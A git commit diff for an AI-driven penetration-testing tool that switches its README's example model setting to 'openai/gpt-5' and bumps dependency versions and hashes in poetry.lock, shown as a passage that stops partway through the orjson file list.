Adding full support for gpt-5 models (#5)
This commit is contained in:
@@ -30,7 +30,7 @@ Strix are autonomous AI agents that act just like real hackers - they run your c
|
||||
pipx install strix-agent
|
||||
|
||||
# Configure AI provider
|
||||
export STRIX_LLM="anthropic/claude-opus-4-1-20250805"
|
||||
export STRIX_LLM="openai/gpt-5"
|
||||
export LLM_API_KEY="your-api-key"
|
||||
|
||||
# Run security assessment
|
||||
@@ -93,7 +93,7 @@ strix --target api.your-app.com --instruction "Prioritize authentication and aut
|
||||
|
||||
```bash
|
||||
# Required
|
||||
export STRIX_LLM="anthropic/claude-opus-4-1-20250805"
|
||||
export STRIX_LLM="openai/gpt-5"
|
||||
export LLM_API_KEY="your-api-key"
|
||||
|
||||
# Recommended
|
||||
|
||||
204
poetry.lock
generated
204
poetry.lock
generated
@@ -2334,14 +2334,14 @@ test = ["coverage", "pytest", "pytest-cov"]
|
||||
|
||||
[[package]]
|
||||
name = "litellm"
|
||||
version = "1.75.5.post1"
|
||||
version = "1.75.7"
|
||||
description = "Library to easily interface with LLM API providers"
|
||||
optional = false
|
||||
python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "litellm-1.75.5.post1-py3-none-any.whl", hash = "sha256:1c72809a9c8f6e132ad06eb7e628f674c775b0ce6bfb58cbd37e8b585d929cb7"},
|
||||
{file = "litellm-1.75.5.post1.tar.gz", hash = "sha256:e40a0e4b25032755dc5df7f02742abe9e3b8836236363f605f3bdd363cb5a0d0"},
|
||||
{file = "litellm-1.75.7-py3-none-any.whl", hash = "sha256:ac42ac0986d43923ce712005e307079d99eebb3901c15399644eba7c79978727"},
|
||||
{file = "litellm-1.75.7.tar.gz", hash = "sha256:147c2027b0c57c93252d5e479294b480ddf3389cf886e0b94658a58b2b36e767"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -2361,7 +2361,7 @@ importlib-metadata = ">=6.8.0"
|
||||
jinja2 = ">=3.1.2,<4.0.0"
|
||||
jsonschema = ">=4.22.0,<5.0.0"
|
||||
litellm-enterprise = {version = "0.1.19", optional = true, markers = "extra == \"proxy\""}
|
||||
litellm-proxy-extras = {version = "0.2.16", optional = true, markers = "extra == \"proxy\""}
|
||||
litellm-proxy-extras = {version = "0.2.17", optional = true, markers = "extra == \"proxy\""}
|
||||
mcp = {version = ">=1.10.0,<2.0.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"proxy\""}
|
||||
openai = ">=1.99.5"
|
||||
orjson = {version = ">=3.9.7,<4.0.0", optional = true, markers = "extra == \"proxy\""}
|
||||
@@ -2384,7 +2384,7 @@ websockets = {version = ">=13.1.0,<14.0.0", optional = true, markers = "extra ==
|
||||
caching = ["diskcache (>=5.6.1,<6.0.0)"]
|
||||
extra-proxy = ["azure-identity (>=1.15.0,<2.0.0)", "azure-keyvault-secrets (>=4.8.0,<5.0.0)", "google-cloud-iam (>=2.19.1,<3.0.0)", "google-cloud-kms (>=2.21.3,<3.0.0)", "prisma (==0.11.0)", "redisvl (>=0.4.1,<0.5.0)", "resend (>=0.8.0,<0.9.0)"]
|
||||
mlflow = ["mlflow (>3.1.4)"]
|
||||
proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.16)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"]
|
||||
proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.17)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"]
|
||||
semantic-router = ["semantic-router"]
|
||||
utils = ["numpydoc"]
|
||||
|
||||
@@ -2401,13 +2401,13 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "litellm-proxy-extras"
|
||||
version = "0.2.16"
|
||||
version = "0.2.17"
|
||||
description = "Additional files for the LiteLLM Proxy. Reduces the size of the main litellm package."
|
||||
optional = false
|
||||
python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "litellm_proxy_extras-0.2.16.tar.gz", hash = "sha256:81a1e8a172feb7da86985f529e891ca7be66ba293ae3e716bf69b266fa776a04"},
|
||||
{file = "litellm_proxy_extras-0.2.17.tar.gz", hash = "sha256:96428ba537d440a40a7db85e615284a4fd89bada24a7fc8737ef0189932cb1ed"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -3197,14 +3197,14 @@ signedtoken = ["cryptography (>=3.0.0)", "pyjwt (>=2.0.0,<3)"]
|
||||
|
||||
[[package]]
|
||||
name = "openai"
|
||||
version = "1.99.8"
|
||||
version = "1.99.9"
|
||||
description = "The official Python library for the openai API"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "openai-1.99.8-py3-none-any.whl", hash = "sha256:426b981079cffde6dd54868b9b84761ffa291cde77010f051b96433e1835b47d"},
|
||||
{file = "openai-1.99.8.tar.gz", hash = "sha256:4b49845983eb4d5ffae9bae5d98bd5c0bd3a709a30f8b994fc8f316961b6d566"},
|
||||
{file = "openai-1.99.9-py3-none-any.whl", hash = "sha256:9dbcdb425553bae1ac5d947147bebbd630d91bbfc7788394d4c4f3a35682ab3a"},
|
||||
{file = "openai-1.99.9.tar.gz", hash = "sha256:f2082d155b1ad22e83247c3de3958eb4255b20ccf4a1de2e6681b6957b554e92"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -3286,95 +3286,95 @@ et-xmlfile = "*"
|
||||
|
||||
[[package]]
|
||||
name = "orjson"
|
||||
version = "3.11.1"
|
||||
description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy"
|
||||
version = "3.11.2"
|
||||
description = ""
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "orjson-3.11.1-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:92d771c492b64119456afb50f2dff3e03a2db8b5af0eba32c5932d306f970532"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0085ef83a4141c2ed23bfec5fecbfdb1e95dd42fc8e8c76057bdeeec1608ea65"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5caf7f13f2e1b4e137060aed892d4541d07dabc3f29e6d891e2383c7ed483440"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f716bcc166524eddfcf9f13f8209ac19a7f27b05cf591e883419079d98c8c99d"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:507d6012fab05465d8bf21f5d7f4635ba4b6d60132874e349beff12fb51af7fe"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1545083b0931f754c80fd2422a73d83bea7a6d1b6de104a5f2c8dd3d64c291e"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e217ce3bad76351e1eb29ebe5ca630326f45cd2141f62620107a229909501a3"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:06ef26e009304bda4df42e4afe518994cde6f89b4b04c0ff24021064f83f4fbb"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ba49683b87bea3ae1489a88e766e767d4f423a669a61270b6d6a7ead1c33bd65"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5072488fcc5cbcda2ece966d248e43ea1d222e19dd4c56d3f82747777f24d864"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f58ae2bcd119226fe4aa934b5880fe57b8e97b69e51d5d91c88a89477a307016"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-win32.whl", hash = "sha256:6723be919c07906781b9c63cc52dc7d2fb101336c99dd7e85d3531d73fb493f7"},
|
||||
{file = "orjson-3.11.1-cp310-cp310-win_amd64.whl", hash = "sha256:5fd44d69ddfdfb4e8d0d83f09d27a4db34930fba153fbf79f8d4ae8b47914e04"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:15e2a57ce3b57c1a36acffcc02e823afefceee0a532180c2568c62213c98e3ef"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:17040a83ecaa130474af05bbb59a13cfeb2157d76385556041f945da936b1afd"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a68f23f09e5626cc0867a96cf618f68b91acb4753d33a80bf16111fd7f9928c"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:47e07528bb6ccbd6e32a55e330979048b59bfc5518b47c89bc7ab9e3de15174a"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3807cce72bf40a9d251d689cbec28d2efd27e0f6673709f948f971afd52cb09"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b2dc7e88da4ca201c940f5e6127998d9e89aa64264292334dad62854bc7fc27"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3091dad33ac9e67c0a550cfff8ad5be156e2614d6f5d2a9247df0627751a1495"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ed0fce2307843b79a0c83de49f65b86197f1e2310de07af9db2a1a77a61ce4c"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5a31e84782a18c30abd56774c0cfa7b9884589f4d37d9acabfa0504dad59bb9d"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:26b6c821abf1ae515fbb8e140a2406c9f9004f3e52acb780b3dee9bfffddbd84"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f857b3d134b36a8436f1e24dcb525b6b945108b30746c1b0b556200b5cb76d39"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:df146f2a14116ce80f7da669785fcb411406d8e80136558b0ecda4c924b9ac55"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-win32.whl", hash = "sha256:d777c57c1f86855fe5492b973f1012be776e0398571f7cc3970e9a58ecf4dc17"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-win_amd64.whl", hash = "sha256:e9a5fd589951f02ec2fcb8d69339258bbf74b41b104c556e6d4420ea5e059313"},
|
||||
{file = "orjson-3.11.1-cp311-cp311-win_arm64.whl", hash = "sha256:4cddbe41ee04fddad35d75b9cf3e3736ad0b80588280766156b94783167777af"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:2b7c8be96db3a977367250c6367793a3c5851a6ca4263f92f0b48d00702f9910"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:72e18088f567bd4a45db5e3196677d9ed1605e356e500c8e32dd6e303167a13d"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d346e2ae1ce17888f7040b65a5a4a0c9734cb20ffbd228728661e020b4c8b3a5"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4bda5426ebb02ceb806a7d7ec9ba9ee5e0c93fca62375151a7b1c00bc634d06b"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10506cebe908542c4f024861102673db534fd2e03eb9b95b30d94438fa220abf"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45202ee3f5494644e064c41abd1320497fb92fd31fc73af708708af664ac3b56"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5adaf01b92e0402a9ac5c3ebe04effe2bbb115f0914a0a53d34ea239a746289"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6162a1a757a1f1f4a94bc6ffac834a3602e04ad5db022dd8395a54ed9dd51c81"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:78404206977c9f946613d3f916727c189d43193e708d760ea5d4b2087d6b0968"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:db48f8e81072e26df6cdb0e9fff808c28597c6ac20a13d595756cf9ba1fed48a"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0c1e394e67ced6bb16fea7054d99fbdd99a539cf4d446d40378d4c06e0a8548d"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e7a840752c93d4eecd1378e9bb465c3703e127b58f675cd5c620f361b6cf57a4"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-win32.whl", hash = "sha256:4537b0e09f45d2b74cb69c7f39ca1e62c24c0488d6bf01cd24673c74cd9596bf"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-win_amd64.whl", hash = "sha256:dbee6b050062540ae404530cacec1bf25e56e8d87d8d9b610b935afeb6725cae"},
|
||||
{file = "orjson-3.11.1-cp312-cp312-win_arm64.whl", hash = "sha256:f55e557d4248322d87c4673e085c7634039ff04b47bfc823b87149ae12bef60d"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:53cfefe4af059e65aabe9683f76b9c88bf34b4341a77d329227c2424e0e59b0e"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:93d5abed5a6f9e1b6f9b5bf6ed4423c11932b5447c2f7281d3b64e0f26c6d064"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dbf06642f3db2966df504944cdd0eb68ca2717f0353bb20b20acd78109374a6"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:dddf4e78747fa7f2188273f84562017a3c4f0824485b78372513c1681ea7a894"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fa3fe8653c9f57f0e16f008e43626485b6723b84b2f741f54d1258095b655912"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6334d2382aff975a61f6f4d1c3daf39368b887c7de08f7c16c58f485dcf7adb2"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a3d0855b643f259ee0cb76fe3df4c04483354409a520a902b067c674842eb6b8"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0eacdfeefd0a79987926476eb16e0245546bedeb8febbbbcf4b653e79257a8e4"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0ed07faf9e4873518c60480325dcbc16d17c59a165532cccfb409b4cdbaeff24"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d308dd578ae3658f62bb9eba54801533225823cd3248c902be1ebc79b5e014"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c4aa13ca959ba6b15c0a98d3d204b850f9dc36c08c9ce422ffb024eb30d6e058"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:be3d0653322abc9b68e5bcdaee6cfd58fcbe9973740ab222b87f4d687232ab1f"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-win32.whl", hash = "sha256:4dd34e7e2518de8d7834268846f8cab7204364f427c56fb2251e098da86f5092"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-win_amd64.whl", hash = "sha256:d6895d32032b6362540e6d0694b19130bb4f2ad04694002dce7d8af588ca5f77"},
|
||||
{file = "orjson-3.11.1-cp313-cp313-win_arm64.whl", hash = "sha256:bb7c36d5d3570fcbb01d24fa447a21a7fe5a41141fd88e78f7994053cc4e28f4"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:7b71ef394327b3d0b39f6ea7ade2ecda2731a56c6a7cbf0d6a7301203b92a89b"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:77c0fe28ed659b62273995244ae2aa430e432c71f86e4573ab16caa2f2e3ca5e"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_aarch64.whl", hash = "sha256:1495692f1f1ba2467df429343388a0ed259382835922e124c0cfdd56b3d1f727"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:08c6a762fca63ca4dc04f66c48ea5d2428db55839fec996890e1bfaf057b658c"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e26794fe3976810b2c01fda29bd9ac7c91a3c1284b29cc9a383989f7b614037"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4b4b4f8f0b1d3ef8dc73e55363a0ffe012a42f4e2f1a140bf559698dca39b3fa"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:848be553ea35aa89bfefbed2e27c8a41244c862956ab8ba00dc0b27e84fd58de"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c964c29711a4b1df52f8d9966f015402a6cf87753a406c1c4405c407dd66fd45"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-win32.whl", hash = "sha256:33aada2e6b6bc9c540d396528b91e666cedb383740fee6e6a917f561b390ecb1"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-win_amd64.whl", hash = "sha256:68e10fd804e44e36188b9952543e3fa22f5aa8394da1b5283ca2b423735c06e8"},
|
||||
{file = "orjson-3.11.1-cp314-cp314-win_arm64.whl", hash = "sha256:f3cf6c07f8b32127d836be8e1c55d4f34843f7df346536da768e9f73f22078a1"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3d593a9e0bccf2c7401ae53625b519a7ad7aa555b1c82c0042b322762dc8af4e"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0baad413c498fc1eef568504f11ea46bc71f94b845c075e437da1e2b85b4fb86"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:22cf17ae1dae3f9b5f37bfcdba002ed22c98bbdb70306e42dc18d8cc9b50399a"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e855c1e97208133ce88b3ef6663c9a82ddf1d09390cd0856a1638deee0390c3c"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b5861c5f7acff10599132854c70ab10abf72aebf7c627ae13575e5f20b1ab8fe"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1e6415c5b5ff3a616a6dafad7b6ec303a9fc625e9313c8e1268fb1370a63dcb"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:912579642f5d7a4a84d93c5eed8daf0aa34e1f2d3f4dc6571a8e418703f5701e"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2092e1d3b33f64e129ff8271642afddc43763c81f2c30823b4a4a4a5f2ea5b55"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:b8ac64caba1add2c04e9cd4782d4d0c4d6c554b7a3369bdec1eed7854c98db7b"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:23196b826ebc85c43f8e27bee0ab33c5fb13a29ea47fb4fcd6ebb1e660eb0252"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f2d3364cfad43003f1e3d564a069c8866237cca30f9c914b26ed2740b596ed00"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-win32.whl", hash = "sha256:20b0dca94ea4ebe4628330de50975b35817a3f52954c1efb6d5d0498a3bbe581"},
|
||||
{file = "orjson-3.11.1-cp39-cp39-win_amd64.whl", hash = "sha256:200c3ad7ed8b5d31d49143265dfebd33420c4b61934ead16833b5cd2c3d241be"},
|
||||
{file = "orjson-3.11.1.tar.gz", hash = "sha256:48d82770a5fd88778063604c566f9c7c71820270c9cc9338d25147cbf34afd96"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:d6b8a78c33496230a60dc9487118c284c15ebdf6724386057239641e1eb69761"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc04036eeae11ad4180d1f7b5faddb5dab1dee49ecd147cd431523869514873b"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9c04325839c5754c253ff301cee8aaed7442d974860a44447bb3be785c411c27"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:32769e04cd7fdc4a59854376211145a1bbbc0aea5e9d6c9755d3d3c301d7c0df"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0ff285d14917ea1408a821786e3677c5261fa6095277410409c694b8e7720ae0"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2662f908114864b63ff75ffe6ffacf996418dd6cc25e02a72ad4bda81b1ec45a"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab463cf5d08ad6623a4dac1badd20e88a5eb4b840050c4812c782e3149fe2334"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:64414241bde943cbf3c00d45fcb5223dca6d9210148ba984aae6b5d63294502b"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:7773e71c0ae8c9660192ff144a3d69df89725325e3d0b6a6bb2c50e5ebaf9b84"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:652ca14e283b13ece35bf3a86503c25592f294dbcfc5bb91b20a9c9a62a3d4be"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:26e99e98df8990ecfe3772bbdd7361f602149715c2cbc82e61af89bfad9528a4"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-win32.whl", hash = "sha256:5814313b3e75a2be7fe6c7958201c16c4560e21a813dbad25920752cecd6ad66"},
|
||||
{file = "orjson-3.11.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc471ce2225ab4c42ca672f70600d46a8b8e28e8d4e536088c1ccdb1d22b35ce"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:888b64ef7eaeeff63f773881929434a5834a6a140a63ad45183d59287f07fc6a"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:83387cc8b26c9fa0ae34d1ea8861a7ae6cff8fb3e346ab53e987d085315a728e"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7e35f003692c216d7ee901b6b916b5734d6fc4180fcaa44c52081f974c08e17"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4a0a4c29ae90b11d0c00bcc31533854d89f77bde2649ec602f512a7e16e00640"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:585d712b1880f68370108bc5534a257b561672d1592fae54938738fe7f6f1e33"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d08e342a7143f8a7c11f1c4033efe81acbd3c98c68ba1b26b96080396019701f"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29c0f84fc50398773a702732c87cd622737bf11c0721e6db3041ac7802a686fb"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:140f84e3c8d4c142575898c91e3981000afebf0333df753a90b3435d349a5fe5"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96304a2b7235e0f3f2d9363ddccdbfb027d27338722fe469fe656832a017602e"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d7612bb227d5d9582f1f50a60bd55c64618fc22c4a32825d233a4f2771a428a"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:a134587d18fe493befc2defffef2a8d27cfcada5696cb7234de54a21903ae89a"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0b84455e60c4bc12c1e4cbaa5cfc1acdc7775a9da9cec040e17232f4b05458bd"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-win32.whl", hash = "sha256:f0660efeac223f0731a70884e6914a5f04d613b5ae500744c43f7bf7b78f00f9"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-win_amd64.whl", hash = "sha256:955811c8405251d9e09cbe8606ad8fdef49a451bcf5520095a5ed38c669223d8"},
|
||||
{file = "orjson-3.11.2-cp311-cp311-win_arm64.whl", hash = "sha256:2e4d423a6f838552e3a6d9ec734b729f61f88b1124fd697eab82805ea1a2a97d"},
|
||||
